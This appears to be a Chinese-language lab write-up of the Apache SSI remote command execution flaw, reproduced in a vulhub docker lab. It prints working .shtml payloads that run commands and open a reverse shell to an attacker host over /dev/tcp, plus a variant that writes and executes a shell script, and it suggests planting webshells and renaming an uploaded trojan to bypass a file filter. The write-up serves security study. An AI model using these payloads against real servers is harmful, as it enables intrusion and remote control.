您当前的位置:首页 > 计算机 > 安全防护

Apache SSI远程命令执行漏洞

时间:04-02来源:作者:点击数:

漏洞原理:传送门

实验环境

主机 角色 IP
centos8 漏洞靶机 192.168.1.80
windows10 攻击主机 192.168.1.120

实验过程

启动centos8主机

# 开启docker服务
service docker start

# 进入vulhub目录
cd /usr/sbin/vulhub/httpd/ssi-rce/

# 创建镜像
docker-compose build

# 启动镜像
docker-compose up -d

访问漏洞页面:

image-20210510175042917
远程执行命令

准备一个ls.shtml文件,内容如下:

image-20210510173217142
<!--#exec cmd="ls"-->

上传该文件:

image-20210510173300496
image-20210510173314731

文件上传成功,点击超链接。

image-20210510173336927

如图所示,命令被成功执行,且结果回显至页面。

反弹shell

准备一个shell.shtml文件,内容如下:

<!--#exec cmd="bash -i >& /dev/tcp/192.168.1.120/8888 0>&1"-->

上传文件:

image-20210510180130701

在windows10上开启端口监听:

image-20210510180118350

点击超链接,等待shell反弹:

结果等了好久shell也没有反弹,为了查找问题,我们现在docker容器内直接执行反弹shell的命令,看看能否成功:

image-20210510180534155
image-20210510180556905

发现成功反弹shell,说明语句没有问题,可能是ssi自身的问题,于是更换思路。

准备一个shell_2.shtml文件,内容如下:

<!--#exec cmd="echo 'bash -i >& /dev/tcp/192.168.1.120/8888 0>&1' > /var/www/html/shell.sh"-->
# 在/var/www/html/目录下创建一个反弹shell命令的shell.sh文件

<!--#exec cmd="chmod +x /var/www/html/shell.sh"-->
# 赋予该文件以执行权限

<!--#exec cmd="/bin/bash /var/www/html/shell.sh"-->
# 执行该文件

上传该文件:

image-20210510182320029

在windows10主机上开启监听端口:

image-20210510182434046

点击超链接,等待shell反弹:

image-20210510182537816

如图所示,成功!

同样的道理,还可以用命令在指定目录下生成一个webshell,然后用菜刀或蚁剑去连接。再者可以先上传一个后缀为jpg的木马文件,然后再上传shtml文件,用命令将jpg改为php,同样可以达到效果。思路多样,比较灵活。

关键源码

image-20210510184426202

后端对php后缀的文件做了过滤,不过我们可以利用ssi远程命令执行漏洞上传shtml文件,最后反弹shell或上传webshell。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门